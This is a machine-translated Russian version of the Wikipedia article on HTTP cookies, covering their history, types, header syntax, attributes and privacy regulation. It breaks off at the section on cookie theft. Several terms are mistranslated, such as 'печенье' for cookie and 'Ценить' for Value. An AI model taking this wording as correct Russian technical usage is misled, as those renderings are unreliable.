Страница полузащищенная
Послушайте эту статью
Из Википедии, бесплатной энциклопедии
Перейти к навигации Перейти к поиску

HTTP куки (также называемый веб - куки , интернет - куки , браузер куки , или просто печенье ) представляет собой небольшой фрагмент данных , хранящихся на пользователя «s компьютера с помощью веб - браузера во время просмотра на веб - сайт . Файлы cookie были разработаны, чтобы быть надежным механизмом для веб-сайтов для запоминания информации с отслеживанием состояния (например, элементы, добавленные в корзину покупок в интернет-магазине ) или для записи активности пользователя в браузере (включая нажатие определенных кнопок, вход в систему или запись посещенных страниц. в прошлом). Их также можно использовать для запоминания фрагментов информации, которые пользователь ранее вводил в поля формы , таких как имена, адреса, пароли и номера платежных карт .

Файлы cookie выполняют важные функции в современной сети . Возможно, наиболее важно то, что файлы cookie аутентификации являются наиболее распространенным методом, используемым веб-серверами, чтобы узнать, вошел ли пользователь в систему или нет, и с какой учетной записью он вошел в систему. Без такого механизма сайт не будет знать, отправлять ли страницу, содержащую конфиденциальную информацию, или требовать от пользователя аутентификации путем входа в систему. Безопасность файла cookie аутентификации обычно зависит от безопасности веб-сайта-эмитента и веб-браузера пользователя. и от того, зашифрованы ли данные cookie . Уязвимости безопасностиможет разрешить данные печенья, чтобы быть прочитаны хакером , используются для получения доступа к данным пользователя , или использовать для доступа усиления (с учетными данными пользователя) на веб - сайт , к которому принадлежит куки (см межсайтового скриптингу и запросу межсайтового подделка примеров). [1]

Отслеживающие файлы cookie, и особенно сторонние файлы cookie отслеживания , обычно используются в качестве способов для сбора долгосрочных записей историй просмотров отдельных пользователей - потенциальная проблема конфиденциальности, которая побудила европейских [2] и американских законодателей принять меры в 2011 году [3]. [4] Европейское законодательство требует, чтобы все веб-сайты, ориентированные на государства-члены Европейского Союза, получали « осознанное согласие » пользователей перед сохранением второстепенных файлов cookie на своих устройствах.

Исследователь Google Project Zero Янн Хорн описывает, как файлы cookie могут быть прочитаны посредниками , такими как провайдеры точек доступа Wi-Fi . В таких случаях он рекомендует использовать браузер в режиме инкогнито . [5]

Фон

HTTP-файлы cookie разделяют свое имя с популярной выпечкой.

Происхождение названия

Термин «cookie» был придуман программистом веб-браузера Лу Монтулли . Он был образован от термина « волшебный файл cookie », который представляет собой пакет данных, который программа получает и отправляет обратно без изменений, и используется программистами Unix . [6] [7]

История

Волшебные файлы cookie уже использовались в вычислительной технике, когда в июне 1994 года программист Лу Монтулли придумал использовать их в веб-коммуникациях. [8] В то время он был сотрудником Netscape Communications , которая разрабатывала приложение электронной коммерции для MCI. . Винт Серф и Джон Кленсин представляли MCI в технических обсуждениях с Netscape Communications. MCI не хотела, чтобы ее серверы сохраняли частичные состояния транзакций, поэтому они попросили Netscape найти способ сохранить это состояние на компьютере каждого пользователя. Файлы cookie позволили решить проблему надежной реализации виртуальной корзины покупок .[9] [10]

В том же году Монтулли вместе с Джоном Джаннандреа написал первоначальную спецификацию файлов cookie Netscape. Версия 0.9beta Mosaic Netscape , выпущенная 13 октября 1994 г. [11] [12], поддерживала файлы cookie. [13] Первое использование файлов cookie (вне лаборатории) было проверкой, посещали ли посетители веб-сайта Netscape уже этот сайт. Montulli подал заявку на патент на технологию cookie в 1995 году, и в 1998 году  был получен патент US 5774670. Поддержка cookie была интегрирована в Internet Explorer в версии 2, выпущенной в октябре 1995 года. [14]

В то время о внедрении файлов cookie широкой публике не было известно. В частности, по умолчанию принимались файлы cookie, и пользователи не уведомлялись об их присутствии. Широкая общественность узнала о файлах cookie после того, как Financial Times опубликовала о них статью 12 февраля 1996 года. [15] В том же году файлы cookie привлекли большое внимание средств массовой информации, особенно из-за потенциальных последствий для конфиденциальности. Файлы cookie обсуждались на двух слушаниях Федеральной торговой комиссии США в 1996 и 1997 годах.

Разработка официальных спецификаций файлов cookie уже продолжалась. В частности, первые обсуждения формальной спецификации начались в апреле 1995 года в списке рассылки www-talk . Была сформирована специальная рабочая группа в рамках Инженерной группы Интернета (IETF). Два альтернативных предложения по введению состояния в транзакции HTTP были предложены Брайаном Белендорфом и Дэвидом Кристолом соответственно. Но группа, возглавляемая самим Кристолом и Лу Монтулли, вскоре решила использовать спецификацию Netscape в качестве отправной точки. В феврале 1996 года рабочая группа определила сторонние файлы cookie как серьезную угрозу конфиденциальности. Спецификация, разработанная группой, в конечном итоге была опубликована как RFC 2109. в феврале 1997 г. В нем указано, что сторонние файлы cookie либо вообще не разрешены, либо, по крайней мере, не включены по умолчанию.

В это время рекламные компании уже использовали сторонние файлы cookie. Рекомендация RFC 2109 относительно сторонних файлов cookie не была соблюдена в Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 г.

RFC 2965 добавил Set-Cookie2заголовок, который неофициально стал называться « куки-файлы в стиле RFC 2965 » в отличие от исходного Set-Cookieзаголовка, который назывался «куки-файлы в стиле Netscape». [16] [17], Set-Cookie2 однако, использовался редко и был объявлен устаревшим в RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для файлов cookie, используемых в реальном мире. [18]

Терминология

Сессионный файл cookie

Куки сессии , также известные как в памяти печенье , транзиторное печенье или непостоянными куки , существует только во временной памяти , когда пользователь переходит на веб - сайт. [19] Веб-браузеры обычно удаляют файлы cookie сеанса, когда пользователь закрывает браузер. [20] В отличие от других файлов cookie, сеансовые файлы cookie не имеют назначенной даты истечения срока действия, поэтому браузер распознает их как сеансовые файлы cookie.

Постоянный файл cookie

Вместо истечения срока действия при закрытии веб-браузера, как это делают файлы cookie сеанса, срок действия постоянного файла cookie истекает в определенную дату или через определенный промежуток времени. В течение срока жизни постоянного файла cookie, установленного его создателем, его информация будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, реклама ).

По этой причине постоянные куки-файлы иногда называют отслеживающими куки-файлами, поскольку они могут использоваться рекламодателями для записи информации о привычках пользователя к просмотру веб-страниц в течение длительного периода времени. Однако они также используются по «законным» причинам (например, для того, чтобы пользователи находились в своих учетных записях на веб-сайтах, чтобы избежать повторного ввода учетных данных для входа при каждом посещении).

Безопасный куки

Безопасное печенье может передаваться только через зашифрованное соединение (т.е. HTTPS ). Они не могут быть переданы через незашифрованные соединения (например, HTTP ). Это снижает вероятность того, что файл cookie будет подвергнут краже через перехват. Файл cookie становится безопасным, добавляя к нему Secureфлаг.

HTTP-файл cookie

HTTP-только куки не могут быть доступны на стороне клиента API, таких как JavaScript . Это ограничение устраняет угрозу кражи файлов cookie через межсайтовый скриптинг (XSS). Однако файл cookie остается уязвимым для атак межсайтовой трассировки (XST) и подделки межсайтовых запросов (CSRF). Эта характеристика присваивается файлу cookie путем добавления HttpOnlyфлага к файлу cookie.

Файл cookie на том же сайте

В 2016 году Google Chrome версии 51 представил [21] новый вид файлов cookie с атрибутом SameSite. Атрибут SameSiteможет иметь значение Strict, Laxили None. [22] С атрибутом SameSite=Strictбраузеры должны отправлять эти файлы cookie только с запросами, исходящими из того же домена / сайта, что и целевой домен. Это эффективно уменьшит атаки с подделкой межсайтовых запросов (CSRF). [23] SameSite=Lax не будет ограничивать исходный сайт, но заставит целевой домен быть таким же, как домен cookie, эффективно блокируя сторонние (межсайтовые) cookie. Атрибут SameSite=Noneразрешает сторонние (межсайтовые) файлы cookie. Cookie-файл того же сайта включен вновый проект RFC для «Cookies: HTTP State Management Mechanism» для обновления RFC6265 (если одобрен).

Chrome, Firefox, Microsoft Edge начали поддерживать файлы cookie на одном сайте. [24] Ключом к развертыванию является обработка существующих файлов cookie без определенного атрибута SameSite. Chrome обрабатывает существующие файлы cookie так, как если бы SameSite = None, при этом все веб-сайты / приложения будут работать в прежнем режиме. Google намеревался изменить это значение по умолчанию на SameSite = Lax в феврале 2020 года [25], это изменение приведет к поломке этих приложений / веб-сайтов, если они полагаются на сторонние / межсайтовые файлы cookie, но без определенного атрибута SameSite. Учитывая обширные изменения для веб-разработчиков и обстоятельства COVID-19 , Google временно отменил изменение cookie SameSite. [26]

Сторонний файл cookie

Обычно атрибут домена файла cookie соответствует домену, который отображается в адресной строке веб-браузера. Это называется основным файлом cookie . Однако сторонний файл cookie принадлежит к домену, отличному от того, который указан в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, например баннерную рекламу . Это открывает возможность для отслеживания истории просмотров пользователя и часто используется рекламодателями, пытаясь предоставить каждому пользователю соответствующую рекламу .

В качестве примера предположим, что пользователь посещает www.example.org. Этот веб-сайт содержит рекламу ad.foxytracking.com, которая при загрузке устанавливает cookie, принадлежащий домену рекламы ( ad.foxytracking.com). Затем пользователь посещает другой веб-сайт, www.foo.comкоторый также содержит рекламу ad.foxytracking.comи устанавливает файл cookie, принадлежащий этому домену ( ad.foxytracking.com). В конце концов, оба этих файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Затем рекламодатель может использовать эти файлы cookie для создания истории просмотров пользователя на всех веб-сайтах, на которых есть реклама от этого рекламодателя, с помощью поля заголовка HTTP-реферера .

По состоянию на 2014 год некоторые веб-сайты устанавливали файлы cookie, доступные для чтения более чем для 100 сторонних доменов. [27] В среднем один веб-сайт устанавливал 10 файлов cookie, при этом максимальное количество файлов cookie (собственных и сторонних) превышало 800. [28]

Большинство современных веб-браузеров содержат настройки конфиденциальности, которые могут блокировать сторонние файлы cookie, а некоторые теперь по умолчанию блокируют все сторонние файлы cookie - по состоянию на июль 2020 года такие браузеры включают Apple Safari , [29] Firefox , [30] и Brave . [31] Safari позволяет встроенным сайтам использовать Storage Access API для запроса разрешения на установку собственных файлов cookie. В мае 2020 года Google Chrome представил новые функции для блокировки сторонних файлов cookie по умолчанию в режиме инкогнито для частного просмотра, что делает блокировку необязательной во время обычного просмотра. В том же обновлении также добавлена ​​возможность блокировать собственные файлы cookie. [32]Chrome планирует начать блокировку сторонних файлов cookie по умолчанию в 2022 году. [33]

Суперпеченье

Supercookie является печеньем с происхождением в домене верхнего уровня (например , как .com) или общественного суффикс (например, .co.uk). Обычные файлы cookie, напротив, имеют происхождение от определенного доменного имени, например example.com.

Супер-файлы cookie могут представлять потенциальную угрозу безопасности и поэтому часто блокируются веб-браузерами. В случае разблокировки браузером злоумышленник, контролирующий вредоносный веб-сайт, может установить супер-файл cookie и потенциально нарушить или выдать себя за законные запросы пользователей к другому веб-сайту, который имеет тот же домен верхнего уровня или общедоступный суффикс, что и вредоносный веб-сайт. Например, супер -cookie с источником .com, может злонамеренно повлиять на запрос, отправленный к example.com, даже если cookie-файл не исходит от example.com. Это может быть использовано для подделки логинов или изменения информации пользователя.

Список общедоступных суффиксов [34] помогает снизить риск, связанный с супер-куки. Список общедоступных суффиксов - это межпроизводственная инициатива, цель которой - предоставить точный и актуальный список суффиксов доменных имен. В более старых версиях браузеров может не быть актуального списка, и поэтому они будут уязвимы для супер-файлов cookie из определенных доменов.

Другое использование

Термин «супер-файлы cookie» иногда используется для технологий отслеживания, которые не полагаются на файлы cookie HTTP. В августе 2011 года на веб-сайтах Microsoft были обнаружены два таких механизма « супер- куки» : синхронизация куки-файлов, которая воспроизводит куки-файлы MUID (уникальный идентификатор компьютера), и куки- файлы ETag . [35] Из-за внимания средств массовой информации Microsoft позже отключила этот код. [36] В сообщении в блоге от 2021 года Mozilla использовала термин «супер-куки» для обозначения использования кеша браузера (см. Ниже) в качестве средства отслеживания пользователей на сайтах. [37]

Зомби печенье

Зомби печенье этого печенье, которое автоматически воссоздан после удаления. Это достигается путем хранения содержимого cookie в нескольких местах, таких как общий объект Flash Local , веб-хранилище HTML5 и другие места на стороне клиента и даже на стороне сервера. При обнаружении отсутствия файла cookie [ требуется пояснение ] файл cookie воссоздается [ требуется разъяснение ] с использованием данных, хранящихся в этих местах. [38] [39]

Стена печенья

Стена cookie появляется на веб-сайте и информирует пользователя об использовании файлов cookie. У него нет опции отклонения, и веб-сайт недоступен без отслеживающих файлов cookie.

Структура

Файл cookie состоит из следующих компонентов: [40] [41]

  1. Имя
  2. Ценить
  3. Ноль или более атрибутов ( пары имя / значение ). Атрибуты хранят информацию, такую ​​как срок действия cookie, домен и флаги (например, Secureи HttpOnly).

Использует

Управление сессией

Изначально файлы cookie были введены для того, чтобы пользователи могли записывать товары, которые они хотят приобрести, во время навигации по веб-сайту (виртуальная «корзина для покупок» или «корзина для покупок»). [9] [10] Сегодня, однако, содержимое корзины покупок пользователя обычно хранится в базе данных на сервере, а не в файле cookie на клиенте. Чтобы отслеживать, какой пользователь назначен какой корзине покупок, сервер отправляет клиенту файл cookie, который содержит уникальный идентификатор сеанса.(обычно длинная строка из случайных букв и цифр). Поскольку файлы cookie отправляются на сервер с каждым запросом, который делает клиент, этот идентификатор сеанса будет отправляться обратно на сервер каждый раз, когда пользователь посещает новую страницу на веб-сайте, что позволяет серверу знать, какую корзину для покупок отображать для пользователя.

Еще одно популярное использование файлов cookie - это вход на веб-сайты. Когда пользователь посещает страницу входа на веб-сайт, веб-сервер обычно отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса. Когда пользователь успешно входит в систему, сервер запоминает, что этот конкретный идентификатор сеанса был аутентифицирован, и предоставляет пользователю доступ к своим службам.

Поскольку файлы cookie сеанса содержат только уникальный идентификатор сеанса, это делает количество личной информации, которую веб-сайт может сохранить о каждом пользователе, практически безграничным - веб-сайт не ограничивается ограничениями, касающимися размера файла cookie. Сеансовые файлы cookie также помогают сократить время загрузки страницы, поскольку объем информации в файле cookie сеанса невелик и требует небольшой полосы пропускания.

Персонализация

Файлы cookie могут использоваться для запоминания информации о пользователе, чтобы с течением времени показывать ему соответствующий контент. Например, веб-сервер может отправить файл cookie, содержащий имя пользователя, которое в последний раз использовалось для входа на веб-сайт, чтобы оно могло быть заполнено автоматически при следующем входе пользователя в систему.

Многие веб-сайты используют файлы cookie для персонализации в зависимости от предпочтений пользователя. Пользователи выбирают свои предпочтения, вводя их в веб-форму и отправляя форму на сервер. Сервер кодирует настройки в файле cookie и отправляет файл cookie обратно в браузер. Таким образом, каждый раз, когда пользователь обращается к странице на веб-сайте, сервер может персонализировать страницу в соответствии с предпочтениями пользователя. Например, поисковая система Google когда-то использовала файлы cookie, чтобы позволить пользователям (даже незарегистрированным) решать, сколько результатов поиска на странице они хотят видеть. Кроме того, DuckDuckGo использует файлы cookie, чтобы позволить пользователям устанавливать предпочтения просмотра, такие как цвета веб-страницы.

Отслеживание

Файлы cookie для отслеживания используются для отслеживания привычек пользователей при просмотре веб-страниц. В некоторой степени это также можно сделать, используя IP-адрес компьютера, запрашивающего страницу, или поле referer в заголовке HTTP- запроса, но файлы cookie позволяют добиться большей точности. Это можно продемонстрировать следующим образом:

  1. Если пользователь запрашивает страницу сайта, но запрос не содержит cookie, сервер предполагает, что это первая страница, которую посетил пользователь. Таким образом, сервер создает уникальный идентификатор (обычно строку из случайных букв и цифр) и отправляет его в виде файла cookie обратно в браузер вместе с запрошенной страницей.
  2. С этого момента файл cookie будет автоматически отправляться браузером на сервер каждый раз, когда запрашивается новая страница с сайта. Сервер не только отправляет страницу как обычно, но также сохраняет URL-адрес запрошенной страницы, дату / время запроса и файл cookie в файле журнала.

Анализируя этот файл журнала, можно узнать, какие страницы посетил пользователь, в какой последовательности и как долго.

Корпорации используют веб-привычки пользователей, отслеживая файлы cookie для сбора информации о покупательских привычках. The Wall Street Journal обнаружил, что на пятидесяти ведущих веб-сайтах Америки на компьютерах установлено в среднем шестьдесят четыре устройства отслеживания, в результате чего было получено 3180 файлов отслеживания. [42] Затем данные могут быть собраны и проданы участвующим в торгах корпорациям.

Выполнение

Возможное взаимодействие между веб-браузером и веб-сервером, содержащим веб-страницу, при котором сервер отправляет файл cookie в браузер, а браузер отправляет его обратно при запросе другой страницы.

Файлы cookie - это произвольные фрагменты данных, которые обычно выбираются и сначала отправляются веб-сервером, а затем сохраняются на клиентском компьютере веб-браузером. Затем браузер отправляет их обратно на сервер с каждым запросом, вводя состояния (память предыдущих событий) в HTTP- транзакции без сохранения состояния . Без файлов cookie каждое извлечение веб-страницы или компонента веб-страницы было бы отдельным событием, в значительной степени не связанным со всеми другими просмотрами страниц, сделанными пользователем на веб-сайте. Хотя файлы cookie обычно устанавливаются веб-сервером, они также могут быть установлены клиентом с использованием языка сценариев, такого как JavaScript (если не установлен HttpOnlyфлаг файла cookie , и в этом случае файл cookie не может быть изменен языками сценариев).

Спецификации файлов cookie [43] [44] требуют, чтобы браузеры соответствовали следующим требованиям для поддержки файлов cookie:

  • Может поддерживать файлы cookie размером до 4096 байт .
  • Может поддерживать не менее 50 файлов cookie на домен (т. Е. На веб-сайт).
  • Всего может поддерживать не менее 3000 файлов cookie.

Установка куки

Файлы cookie устанавливаются с помощью Set-Cookie заголовка HTTP , отправляемого в ответ HTTP с веб-сервера. Этот заголовок предписывает веб-браузеру сохранить файл cookie и отправить его в будущих запросах на сервер (браузер проигнорирует этот заголовок, если он не поддерживает файлы cookie или отключил файлы cookie).

Например, браузер отправляет свой первый запрос на главную страницу www.example.orgвеб-сайта:

GET  /index.html  HTTP / 1.1 Хост :  www.example.org ...

Сервер отвечает двумя Set-Cookieзаголовками:

HTTP / 1.0  200  OK Content-type :  text / html Set-Cookie :  theme = light Set-Cookie :  sessionToken = abc123; Срок действия истекает = среда, 9 июня 2021 г., 10:18:14 GMT ...

HTTP-ответ сервера содержит содержимое домашней страницы веб-сайта. Но он также указывает браузеру установить два файла cookie. Первый, «тема», считается файлом cookie сеанса, поскольку у него нет атрибута Expiresили Max-Age. Сессионные куки-файлы предназначены для удаления браузером при закрытии браузера. Второй, «sessionToken», считается постоянным файлом cookie, поскольку он содержит Expiresатрибут, который указывает браузеру удалить файл cookie в определенную дату и время.

Затем браузер отправляет еще один запрос на посещение spec.htmlстраницы на сайте. Этот запрос содержит Cookieзаголовок HTTP, который содержит два файла cookie, которые сервер дал браузеру указание установить:

GET  /spec.html  HTTP / 1.1 Хост :  www.example.org Cookie :  theme = light; sessionToken = abc123 

Таким образом, сервер знает, что этот запрос связан с предыдущим. Сервер ответит, отправив запрошенную страницу, возможно, включая дополнительные Set-Cookieзаголовки в ответ, чтобы добавить новые файлы cookie, изменить существующие файлы cookie или удалить файлы cookie.

Значение cookie может быть изменено сервером путем включения Set-Cookieзаголовка в ответ на запрос страницы. Затем браузер заменяет старое значение новым значением.

Значение cookie может состоять из любого печатаемого символа ASCII ( !через ~, Unicode \u0021 через \u007E), за исключением символов, и ;и пробелов . Имя файла cookie исключает те же символы, а также =, поскольку это разделитель между именем и значением. Стандарт файлов cookie RFC 2965 является более строгим, но не реализуется браузерами.

Термин «крошка cookie» иногда используется для обозначения пары «имя-значение» cookie. [45]

Файлы cookie также могут быть установлены с помощью языков сценариев, таких как JavaScript, которые выполняются в браузере. В JavaScript document.cookieдля этой цели используется объект . Например, инструкция document.cookie = "temperature=20"создает куки с именем «температура» и значением «20». [46]

Атрибуты cookie

Помимо имени и значения, файлы cookie также могут иметь один или несколько атрибутов. Браузеры не включают атрибуты cookie в запросы к серверу - они отправляют только имя и значение cookie. Атрибуты файлов cookie используются браузерами, чтобы определить, когда удалить файл cookie, заблокировать файл cookie или отправить файл cookie на сервер.

Домен и путь

DomainИ Pathатрибуты определяют объем печенья. По сути, они сообщают браузеру, какому веб-сайту принадлежит файл cookie. По очевидным причинам безопасности файлы cookie могут быть установлены только для верхнего домена текущего ресурса и его поддоменов, но не для другого домена и его поддоменов. Например, веб-сайт example.orgне может установить файл cookie с доменом. foo.comЭто позволит example.orgвеб-сайту управлять файлами cookie foo.com.

Если файлы cookie Domainи Pathатрибуты не указаны сервером, по умолчанию используются домен и путь к запрошенному ресурсу. [47] Однако в большинстве браузеров есть разница между файлом cookie, установленным foo.comбез домена, и файлом cookie, установленным с foo.comдоменом. В первом случае cookie будет отправляться только для запросов foo.com, также известных как cookie только для хоста. В последнем случае также включаются все поддомены (например, docs.foo.com). [48] [49] Заметным исключением из этого общего правила является Edge до Windows 10 RS3 и Internet Explorer до IE 11 и Windows 10 RS4 (апрель 2018 г.), который всегда отправляет файлы cookie в субдомены независимо от того, был ли установлен файл cookie. с доменом или без него.[50]

Ниже приведен пример некоторых Set-Cookieзаголовков ответов HTTP, которые отправляются с веб-сайта после входа пользователя в систему. HTTP-запрос был отправлен на веб-страницу в docs.foo.comсубдомене:

HTTP / 1.0  200  OK Set-Cookie :  LSID = DQAAAK… Eaem_vYg; Путь = / accounts; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 GMT; Безопасный; HttpOnly Set-Cookie :  HSID = AYQEVn… DKrdst; Домен = .foo.com; Путь = /; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 GMT; HttpOnly Set-Cookie :  SSID = Ap4P… GTEq; Домен = foo.com; Путь = /; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 GMT; Безопасный; HttpOnly 

Первый файл cookie,, LSIDне имеет Domainатрибута, и для него Pathустановлено значение /accounts. Это указывает браузеру использовать cookie только при запросе страниц, содержащихся в docs.foo.com/accounts(домен является производным от домена запроса). Два других файла cookie, HSIDи SSID, будут использоваться, когда браузер запрашивает любой поддомен .foo.comпо любому пути (например www.foo.com/bar). Предварительная точка является необязательной в последних стандартах, но может быть добавлена ​​для совместимости с реализациями на основе RFC 2109 . [51]

Срок действия и максимальный возраст

ExpiresАтрибут определяет дату и конкретное время , когда браузер должен удалить куки. Дата и время указываются в форме Wdy, DD Mon YYYY HH:MM:SS GMTили в форме Wdy, DD Mon YY HH:MM:SS GMTдля значений YY, где YY больше или равно 0 и меньше или равно 69. [52]

В качестве альтернативы Max-Ageатрибут можно использовать для установки срока действия cookie в виде интервала в секундах в будущем относительно времени, когда браузер получил cookie. Ниже приведен пример трех Set-Cookieзаголовков, которые были получены с веб-сайта после входа пользователя в систему:

HTTP / 1.0  200  OK Set-Cookie :  lu = Rg3vHJZnehYLjVg7qi3bZjzg; Срок действия истекает = Вт, 15 января 2013 г., 21:47:38 GMT; Путь = /; Домен = .example.com; HttpOnly Set-Cookie :  made_write_conn = 1295214458; Путь = /; Домен = .example.com Set-Cookie :  reg_fb_gate = удалено; Срок действия истекает = Thu, 01 Jan 1970 00:00:01 GMT; Путь = /; Домен = .example.com; HttpOnly

Срок действия первого файла cookie luистекает 15 января 2013 года. До этого времени он будет использоваться клиентским браузером. Второй файл cookie made_write_connне имеет срока годности, что делает его файлом cookie сеанса. Он будет удален после того, как пользователь закроет свой браузер. Значение третьего файла cookie reg_fb_gateизменено на «удалено», и срок его действия истекает в прошлом. Браузер немедленно удалит этот файл cookie, потому что срок его действия уже прошел. Обратите внимание, что файл cookie будет удален только в том случае, если атрибуты домена и пути в Set-Cookieполе соответствуют значениям, использованным при создании файла cookie.

По состоянию на 2016 год Internet Explorer не поддерживает Max-Age. [53] [54]

Безопасность и HttpOnly

SecureИ HttpOnlyатрибуты не имеют соответствующие значения. Скорее, наличие только их имен атрибутов указывает на то, что их поведение должно быть включено.

SecureАтрибут предназначен , чтобы держать печенье связь ограничивается зашифрованной передачи, направляя браузеры использовать куки только с помощью защищенных / зашифрованных соединений. Однако, если веб-сервер устанавливает файл cookie с атрибутом безопасности из незащищенного соединения, файл cookie все равно может быть перехвачен, когда он отправляется пользователю с помощью атак типа «человек посередине» . Поэтому для максимальной безопасности файлы cookie с атрибутом Secure следует устанавливать только через безопасное соединение.

HttpOnlyАтрибут направляет браузеры , чтобы не подвергать печенье по другим каналам , чем HTTP (и HTTPS) запросов. Это означает, что к файлу cookie нельзя получить доступ через языки сценариев на стороне клиента (в частности, JavaScript ), и, следовательно, его нельзя легко украсть с помощью межсайтовых сценариев (метод повсеместной атаки). [55]

Настройки браузера

Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключать их. Ниже приведены распространенные варианты: [56]

  • Чтобы полностью включить или отключить файлы cookie, чтобы они всегда принимались или всегда блокировались.
  • Для просмотра и выборочного удаления файлов cookie с помощью диспетчера файлов cookie.
  • Чтобы полностью стереть все личные данные, включая файлы cookie.

По умолчанию Internet Explorer разрешает сторонние файлы cookie, только если они сопровождаются полем P3P «CP» (компактная политика). [57]

Также существуют дополнительные инструменты для управления разрешениями на файлы cookie. [58] [59] [60] [61]

Конфиденциальность и сторонние файлы cookie

Файлы cookie имеют важное значение для конфиденциальности и анонимности пользователей Интернета. Хотя файлы cookie отправляются только на сервер, устанавливающий их, или на сервер в том же домене Интернета, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются при извлечении этих компонентов, называются сторонними файлами cookie . Более старые стандарты для файлов cookie, RFC 2109 и RFC 2965 , указывают, что браузеры должны защищать конфиденциальность пользователей и не разрешать совместное использование файлов cookie между серверами по умолчанию. Однако более новый стандарт RFC 6265 явно позволяет пользовательским агентам реализовать любую политику сторонних файлов cookie, которую они пожелают. Большинство браузеров, например Mozilla Firefox ,Internet Explorer , Opera и Google Chrome по умолчанию разрешают сторонние файлы cookie, если на стороннем веб-сайте опубликована Политика конфиденциальности Compact . Новые версии Safari блокируют сторонние файлы cookie, и это запланировано и для Mozilla Firefox (изначально планировалось для версии 22, но отложено на неопределенный срок). [62]

В этом вымышленном примере рекламная компания разместила баннеры на двух веб-сайтах. Размещая изображения баннеров на своих серверах и используя сторонние файлы cookie, рекламная компания может отслеживать просмотр пользователей на этих двух сайтах.

Рекламные компании используют сторонние файлы cookie для отслеживания пользователя на нескольких сайтах. В частности, рекламная компания может отслеживать пользователя на всех страницах, на которых размещены рекламные изображения или веб-ошибки . Знание страниц, которые посещает пользователь, позволяет рекламной компании настраивать таргетинг рекламных объявлений на предполагаемые предпочтения пользователя.

Операторы веб-сайтов, которые не сообщают потребителям об использовании сторонних файлов cookie, рискуют подорвать доверие потребителей в случае обнаружения использования файлов cookie. Четкое раскрытие информации (например, в политике конфиденциальности ) устраняет любые негативные последствия обнаружения таких файлов cookie. [63]

Возможность создания профиля пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание выполняется в нескольких доменах с использованием сторонних файлов cookie. По этой причине в некоторых странах есть законы о файлах cookie.

Правительство Соединенных Штатов установило строгие правила по установке файлов cookie в 2000 году после того, как стало известно, что Управление наркополитики Белого дома использовало файлы cookie для отслеживания пользователей компьютеров, просматривающих его антинаркотическую рекламу в Интернете. В 2002 году активист защиты конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставляло постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Получив уведомление о нарушении политики, ЦРУ заявило, что эти файлы cookie не были установлены намеренно, и прекратило их установку. [64] 25 декабря 2005 г. Брандт обнаружил, что Агентство национальной безопасности (АНБ) оставляло два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. Получив уведомление, АНБ немедленно отключило файлы cookie.[65]

Директива ЕС о файлах cookie

В 2002 году Европейский Союз выпустил Директиву о конфиденциальности и электронных коммуникациях , политику, требующую согласия конечных пользователей на размещение файлов cookie и аналогичных технологий для хранения и доступа к информации на оборудовании пользователей. [66] [67] В частности, пункт 3 статьи 5 предусматривает, что хранение данных на компьютере пользователя может осуществляться только в том случае, если пользователю предоставлена ​​информация о том, как эти данные используются, и пользователю предоставляется возможность запретить эту операцию сохранения. .

Директива 95/46 / EC определяет «согласие субъекта данных» как «любое свободно данное конкретное и осознанное указание его пожеланий, посредством которого субъект данных выражает свое согласие с обрабатываемыми персональными данными, относящимися к нему». [68] Согласие должно включать некоторую форму общения, при которой люди сознательно выражают свое согласие. [67]

В 2009 году в политику были внесены поправки Директивой 2009/136 / EC, которая включала изменение в Статью 5, Параграф 3. Вместо того, чтобы дать пользователям возможность отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на использование файлов cookie. место хранения. [67]

В июне 2012 года европейские органы по защите данных приняли заключение, в котором уточняется, что некоторые пользователи файлов cookie могут быть освобождены от требования получения согласия:

  • Некоторые файлы cookie могут быть освобождены от информированного согласия при определенных условиях, если они не используются для дополнительных целей. Эти файлы cookie включают файлы cookie, используемые для отслеживания ввода данных пользователем при заполнении онлайн-форм или в качестве корзины покупок.
  • Собственные аналитические файлы cookie вряд ли создадут риск для конфиденциальности, если веб-сайты предоставляют пользователям четкую информацию о файлах cookie и мерах безопасности. [69]

Реакция отрасли была в основном негативной. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как «далеко идущие и невероятно обременительные» для «всех британских компаний». Саймон Дэвис из Privacy International утверждает, что надлежащее правоприменение «уничтожит всю отрасль». [70]

В 2016 году в ЕС был принят Общий регламент по защите данных (GDPR). Согласно Декларации 30 GDPR, физические лица могут быть связаны с идентификаторами файлов cookie. Таким образом, файлы cookie могут рассматриваться как персональные данные и, следовательно, подпадают под действие GDPR. Для использования таких файлов cookie компании должны получить предварительное согласие пользователя.

Спецификация P3P предлагает серверу возможность заявить политику конфиденциальности, используя заголовок HTTP , который указывает, какой тип информации он собирает и для какой цели. Эти политики включают (но не ограничиваются) использование информации, собранной с помощью файлов cookie. Согласно спецификации P3P, браузер может принимать или отклонять файлы cookie, сравнивая политику конфиденциальности с сохраненными пользовательскими настройками или спрашивая пользователя, представляя ему политику конфиденциальности, объявленную сервером. Однако спецификация P3P подверглась критике со стороны веб-разработчиков за ее сложность. На некоторых веб-сайтах это неправильно реализовано. Например, Facebook какое-то время в шутку использовал «HONK» в качестве заголовка P3P. [71] Только Internet Explorer обеспечивает адекватную поддержку спецификации.

Сторонние файлы cookie могут быть заблокированы большинством браузеров, чтобы повысить конфиденциальность и сократить отслеживание со стороны рекламных и отслеживающих компаний, не оказывая отрицательного воздействия на работу пользователя в Интернете. Многие рекламные операторы имеют возможность отказаться от поведенческой рекламы, при этом общий файл cookie в браузере останавливает поведенческую рекламу. [71] [72]

Кража файлов cookie и захват сеанса

